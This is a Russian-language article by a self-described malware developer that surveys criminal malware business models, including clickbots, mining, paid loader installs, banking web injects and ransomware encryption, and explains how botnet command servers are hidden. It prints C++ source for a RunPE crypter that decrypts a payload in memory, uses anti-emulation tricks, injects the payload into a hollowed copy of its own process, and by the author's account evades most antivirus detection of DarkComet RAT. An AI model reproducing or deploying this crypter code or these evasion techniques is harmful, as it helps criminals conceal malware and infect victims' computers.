По ту сторону баррикад вредоносного ПО. Исповедь малварщика

в 8:26, , рубрики: Алгоритмы, вредоносное программное обеспечение, информационная безопасность, криминал, метки: ,

По ту сторону баррикад вредоносного ПО. Исповедь малварщика - 1

Приветствую, %читатель%. Решил ненадолго оторваться от форумных войн и работы, написав на Хабр статью о вредоносном ПО. Но статья эта будет необычная, так сказать — по другую сторону баррикад. Так уж сложилось, что на жизнь зарабатываю разработкой ПО. Вредоносного.

Заранее скажу:

Я не работаю по RU и СНГ в частности, а значит, чист перед законом. Не надо меня тыкать в УК РФ, его знаю отлично и не нарушаю. Такое у нас УПК, что не считает нарушением 272/273, если не причинило вред Российской Федерации. Таким образом, я отказываюсь от ответственности от сказанного мною тут, а также не несу никакой ответственности за причиненные действия после прочтения этой статьи. И вообще — я завязал. Я добрый, хольте и лелейте.

Итак, приступим.

Начну с того, кто и зачем пишет вредоносное ПО.

Вместо вступления. Зачем же это все?

Начну со своей истории. Я начал программирование с написания вредоносного ПО, как и многие в этой сфере. Именно поэтому так часто встречаются глупые вредоносы, которые только портят, либо содержат столько ошибок, что компьютер вообще отказывается дальше работать. Побудил меня интерес к этому, когда я поймал подобную малварь. Ну, и собственное эго — начал я с таких же портящих систему вредоносов.

Позврослев и набравшись опыта, я понял, что на этом можно зарабатывать. Об этом я и хочу поговорить в первой части статьи.

Как используют вредоносное ПО?

Начнем с самого безобидного.

I) Clickfraud, мошенничество с кликами, или, как мы говорим — кликботы. Для чего это надо? Ну, представим, что вы некая рекламная фирма, и вам платят за переходы. Другими словами за траффик. И тут два пути:

1) Либо этот траффик добыть честным путем, рекламой;
2) Либо просто «попросить» вредоноса (мне не нравится, честно говоря, слово вредонос) перейти на сайт. Хорошие кликботы умеют эмулировать javascript и кликать по экрану, что очень сложно отфильтровать.

Как мы понимаем, реклама дорога, и ботнет на базе кликбота очень хорошо окупается.

Примером является P2P-ботнет на базе ZeroAccess.

II) Переходим к более агрессивному софту, майнинг. Думаю, не нужно местному сообществу объяснять, что такое майнинг. Просто скажу цифру: 9 USD/day с ~120 онлайна серверных систем на майнинге Altcoin.

Пример: ZeroAccess для майнинга Bitcoin.

Неплохо, да? Но это все неинтересно, идем дальше.

III) Загрузки. Вот мы и подошли к тому, про что обычное IT-сообщество не знает. Как обычно говорят аверы — Trojan-Downloader, а мы будем говорить по простому — лоадер. Так вот, лоадер — это такая штука, которая служит для скачивания и запуска другой малвари. Они бывают нерезидентными и резидентными. Поговорим про второе, ибо это наиболее интересно. Что обычно делает человек, использующий малварь для своих благих целей? Он ищет где бы достать лоады (загрузки) на компьютеры пользователей. И идет он к адверту (человек, который грузит софт). Адверт использует лоадер для загрузки софта этого человека на компьютеры пользователей.

Обычные расценки:

US — 600$/1к лоадов
UK — 400$/1к лоадов
Микс мира — 100$/1к лоадов
Микс Азии — 75$/1к лоадов.

Эти цены взяты у одного из таких адвертов.

Пример: Smoke Loader.

IV) Банкботы. Вот мы и подошли к кардерам, которые воруют денюшку иу людишек.

Начнем с банкботов.

Как работает банкбот?

Попадая на компьютер пользователя он инжектит код (внедряет в адресное пространство процесса) в браузеры, ставит хуки на апишки для работы с сетью (перехватывает функции отправки/получения данных с сети), после чего производит подмену выдачи (разговорное: веб-инжекты, инжи, инжекты). Т.е, например, заходит пользователь в онлайн банк, а у него вместо формы от банка подменяется код на форму, которая совершает автоматический перевод после ввода данных авторизации (автозаливы). Это простейший вариант; разумеется, существуют разные антифрод системы в банках и прочие способы защиты. Но и есть способы их обхода.

Суммы, получаемые кардерами, можете представить сами.

Пример: Zeus, SpyEye.

V) Криптолокеры. Наконец, мы подошли к самому низкому — криптолокерам. Данный софт шифрует все на винте и требует выкуп. Наиболее профессиональные работают следующим образом:

При старте проверяют запущены ли они в СНГ (обычно по раскладке) и, если запущены, то завершаются. Это не шутка, так и есть, примеры: Cerber Locker.

Ну да ладно, это профессионализм в целях безопасности своей же, но мы рассмотрим то, как они умудряются все пошифровать, да так, что не расшифруешь.

Для каждого файла генерируется уникальный AES-256 ключ, который шифруется глобальным публичным RSA-2048 ключем, а приватная часть удаляется из памяти и отправляется на сервер для хранения. Сделано это для того, чтобы увеличить скорость шифрования, ибо RSA — слишком медленный алгоритм, а AES-CBC шифрует довольно быстро. Чтобы расшифровать потребуются сотни лет со всей вычислительной мощности, либо приватный ключ с сервера для расшифровки ключа AES, который отправляется в автоматическом режиме при получении оплаты на уникальный для бота bitcoin-адрес. Именно так работает Cerber Locker. По данным исследователей (гуглится легко) авторы цербера заработали около $2 млн за год. На деле чуть меньше миллиона, так как распространяется этот софт засчет адвертов, которым уходит 50% (на одном из форумов висит их партнерская программа).

Вместо основной части. Как происходит управление ботнетом?

Разумеется, мы должны как-то всем этим управлять. Для этого используются чаще всего C&C-серверы (Command and control). Боты просто при старте подключаются к серверу и ждут оттуда команды. Разумеется, приходят абузы и сервер наглым образом блочат, но и от этого есть панацея. Можно использовать DGA (алгоритм генерации доменов), либо хостинг в .onion зоне (проще говоря в торе). Отличное антиабузное решение. Сейчас наблюдается интересная тенденция в использовании namecoin, он же blockchain для dns. Так что с прогрессом прятать ботнеты становится все проще, а защита только слабеет.

А как же с обходами антивирусов?

Для начала поговорим о уровнях защиты: scantime, runtime. Другими словами, во время сканирования и во время работы. К первому относится сигнатурный анализ и эвристический, а ко второму — проактивные технологии.

Все это обходится достаточно просто. Эвристика ищет подозрительные вызовы API и имена в таблице импорта, а мы можем просто использовать динамический импорт функций через самописную GetProcAddress функцию и различные техники антиэмуляции. До недавнего времени KIS не умел эмулировать последнюю ошибку API функций и его легко было пустить по ложному следу, сейчас это почему-то перестало помогать. Пока не расковырял, увы.

Для обхода сигнатурного детекта уже старых вредоносов используются крипторы. По простому, это обычные упаковщики/протекторы, но нужны для другого — расшифровать зашифрованный код в памяти и запустить его подобно загрузчику Windows. Так действуют LoadPE-крипторы.

С проактивными сложнее и обходятся исключительно разрывом шаблона поведения, нужно вести себя так, как будто ты белый и пушистый.

Пример кода из RunPE криптора, расшифрующего малварь в памяти и внедряющего его в копию своего процесса

void Decrypt(PCHAR str, DWORD size)
{
	int j = 2;
	OpenProcess(0, 0, 0);
	for (DWORD i = 0; i < size; i++)
	{
		if ((i % 1024 == 0) && (fact(j) != j))
			ExitProcess(0);
		str[i] ^= (xor_key - GetLastError());
		str[i] -= (fact(j + 1) - fact(j) * fact(j));
	}
}


void __cdecl memset_mm(void *data, char byte, DWORD size)
{
	for (unsigned int i = 0; i < size; i++)
		((char*)data)[i] = byte;
}


void run(LPSTR szFilePath, PVOID pFile)
{
	PIMAGE_DOS_HEADER IDH;
	PIMAGE_NT_HEADERS INH;
	PIMAGE_SECTION_HEADER ISH;
	PROCESS_INFORMATION PI;
	STARTUPINFOA SI;

	memset_mm(&PI, 0, sizeof(PI));
	memset_mm(&SI, 0, sizeof(SI));
	PCONTEXT CTX;
	NtUnmapViewOfSection xNtUnmapViewOfSection;
	LPVOID pImageBase;
	int Count;
	IDH = PIMAGE_DOS_HEADER(pFile);
	if (IDH->e_magic == IMAGE_DOS_SIGNATURE)
	{
		INH = PIMAGE_NT_HEADERS(DWORD(pFile) + IDH->e_lfanew);
		if (INH->Signature == IMAGE_NT_SIGNATURE)
		{
			if (CreateProcessA(szFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI))
			{
				CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
				CTX->ContextFlags = CONTEXT_FULL;
				if (GetThreadContext(PI.hThread, LPCONTEXT(CTX)))
				{
					xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
					xNtUnmapViewOfSection(PI.hProcess, PVOID(INH->OptionalHeader.ImageBase));
					pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
					if (pImageBase)
					{
						WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, NULL);
						for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++)
						{
							ISH = PIMAGE_SECTION_HEADER(DWORD(pFile) + IDH->e_lfanew + 248 + (Count * 40));
							WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID(DWORD(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL);
						}
						WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&INH->OptionalHeader.ImageBase), 4, NULL);
						CTX->Eax = DWORD(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint;
						SetThreadContext(PI.hThread, LPCONTEXT(CTX));
						ResumeThread(PI.hThread);
					}

				}
			}
		}
	}
	VirtualFree(pFile, 0, MEM_RELEASE);
}


void Decryption()
{
	PCHAR Self = (PCHAR)VirtualAlloc(0, 256, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (!Self)
		ExitProcess(0);
	GetModuleFileNameA(0, Self, 256);

	Decrypt((PCHAR)&Buf[0], size);
	
	run(Self, Buf);
	ExitProcess(0);
}

В примере в качестве ключа используется LastError от неверного вызова функции OpenProcess. Спасал раньше от KIS и других, сейчас как-то не очень. Видимо эмулятор дописали по-нормальному.

void Decrypt(PCHAR str, DWORD size)
{
	int j = 2;
	OpenProcess(0, 0, 0);
	for (DWORD i = 0; i < size; i++)
	{
		if ((i % 1024 == 0) && (fact(j) != j))
			ExitProcess(0);
		str[i] ^= (xor_key - GetLastError());
		str[i] -= (fact(j + 1) - fact(j) * fact(j));
	}
}

Несмотря на такой простой алгоритм, это помогает обойти большинство антивирусов, убрав эвристические и сигнатурные детекты.

Не верите? Ок.

Давайте посмотрим на результат сканирования малвари DarkComet RAT.

Билд DarkComet'а некриптованный

По ту сторону баррикад вредоносного ПО. Исповедь малварщика - 2

А теперь накроем его криптором из под спойлера.

билд DarkComet'а криптованный

По ту сторону баррикад вредоносного ПО. Исповедь малварщика - 3

Результат интересный, из-за паники вокруг Zeus'а очень много ложных срабатываний из-за очень общих сигнатур на него. Разумеется, 1 детект — это ошибка скорее, а не достижение.

Вместо заключения. Как защититься?

Рекламировать особенные продукты не буду, но они есть. И этот продукт бесплатен.

1) Поставьте линукс

1) Используйте решения класса Internet Security (Total Security);
2) Используйте фаерволлы;
3) UAC на максимальный уровень (хотя это легко обходится), пароль на админа 40 символов и сидите из под юзера;
4) NoScript плагин для браузера, измененный UserAgent под Linux и Chrome для неверной идентификации браузера.

На этом у меня все.

Автор: FancyMalware

Источник


* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js